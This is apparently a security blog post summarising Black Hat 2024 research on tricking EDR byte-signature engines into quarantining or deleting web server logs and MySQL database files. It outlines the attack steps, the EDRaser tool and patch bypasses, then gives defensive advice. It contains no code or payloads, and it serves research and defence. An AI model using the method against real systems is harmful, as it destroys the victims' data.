How Malicious Signatures Turn EDRs Into Data Destroyers

TLDR: Researchers at Black Hat 2024 demonstrated how to weaponize EDR byte-signature detection by embedding minimal malicious patterns into legitimate files. This technique forces security products to quarantine or delete critical system logs, database files, and configuration data, effectively turning the EDR into a remote data-wiping tool. Pentesters can use the released EDRaser tool to identify and exploit these blind spots in target environments.

Security researchers often treat EDR solutions as the final, impenetrable layer of defense. We assume that if a binary is malicious, the EDR will catch it, and if it is benign, the EDR will leave it alone. This assumption is fundamentally flawed. The research presented at Black Hat 2024 proves that EDRs are not just passive observers; they are active, automated agents that can be manipulated into performing destructive actions against the very systems they are meant to protect.

The Mechanics of Self-Cannibalism

The core of this research lies in exploiting the byte-signature engine, which is typically the most trusted and performant layer of an EDR. These engines scan files for specific, known sequences of bytes. The researchers discovered that by injecting a minimal, malicious signature into a legitimate file, they could trick the EDR into flagging the entire file as malicious.

The impact is not limited to the file containing the signature. When an EDR identifies a threat, it often logs the incident. If the EDR is configured to automatically quarantine or delete detected threats, it will attempt to remove the file. If the "file" is actually a critical system log or a database file, the EDR effectively performs a denial-of-service attack on the host. This is what the researchers call "self-cannibalism"—the EDR is forced to consume its own detection logs or critical system components.

Exploiting the Blind Spots

The researchers focused on several high-value targets, including IIS, Nginx, and various database systems like MySQL. The attack flow is straightforward:

1. Signature Extraction: Using a black-box approach, the researchers identified the minimal byte sequence required to trigger a detection in Windows Defender or Kaspersky.
2. Implantation: They embedded this signature into non-executable files, such as web server logs or database files.
3. Triggering: By sending a crafted HTTP request to a web server, they forced the server to log the malicious signature. Once the EDR scanned the log file, it triggered the deletion process.

For example, in the case of MySQL, the researchers demonstrated that inserting a specific signature into a database record caused the EDR to flag the entire database file as malicious. Because the database file is often large and constantly in use, the EDR's attempt to quarantine it results in a permanent denial-of-service for the application.

The researchers released EDRaser, a tool that automates the generation of these minimal signatures. For a pentester, this is a powerful way to test how an organization's EDR handles false positives and whether it is configured to act aggressively without human intervention.

The Patch Bypass Reality

Microsoft addressed the initial findings with CVE-2023-24860, but the researchers found that the patch was incomplete. They subsequently identified CVE-2023-36010, which bypassed the initial fix by exploiting the way the EDR handled non-default storage engines in MySQL.

The lesson here is that security patches are not magic bullets. When a vendor patches a vulnerability in a security control, they often implement a whitelist or a specific check that can be bypassed if the attacker understands the underlying logic. In this case, the patch checked for specific file headers or sizes, but it failed to account for the flexibility of database storage formats.

Defensive Considerations

Defenders must move away from the "set it and forget it" mentality regarding EDR configurations. If your EDR is set to "Auto-Quarantine," you are essentially giving an automated system the power to delete your production data based on a simple signature match.

Blue teams should:

• Audit Automated Actions: Review policies that allow automatic deletion of detected files. Consider a "Report Only" or "Manual Review" mode for critical system directories and database paths.
• Layered Detection: Do not rely solely on byte-signature detection. Ensure that behavioral analysis and heuristic scanning are prioritized, as these are harder to trick with simple file-based signatures.
• Monitor EDR Logs: Keep an eye on the EDR's own logs for signs of "self-cannibalism," where the EDR is repeatedly flagging its own files or critical system logs.

This research serves as a stark reminder that every security tool is a potential attack vector. When we rely on automated systems to make binary decisions about what is "malicious," we create opportunities for attackers to turn those systems against us. As pentesters, our goal is to expose these brittle points in the architecture, forcing organizations to build more resilient, less automated defensive strategies. The next time you are on an engagement, look at what the EDR is configured to delete—you might find that the most dangerous file on the system is the one the EDR is trying to protect.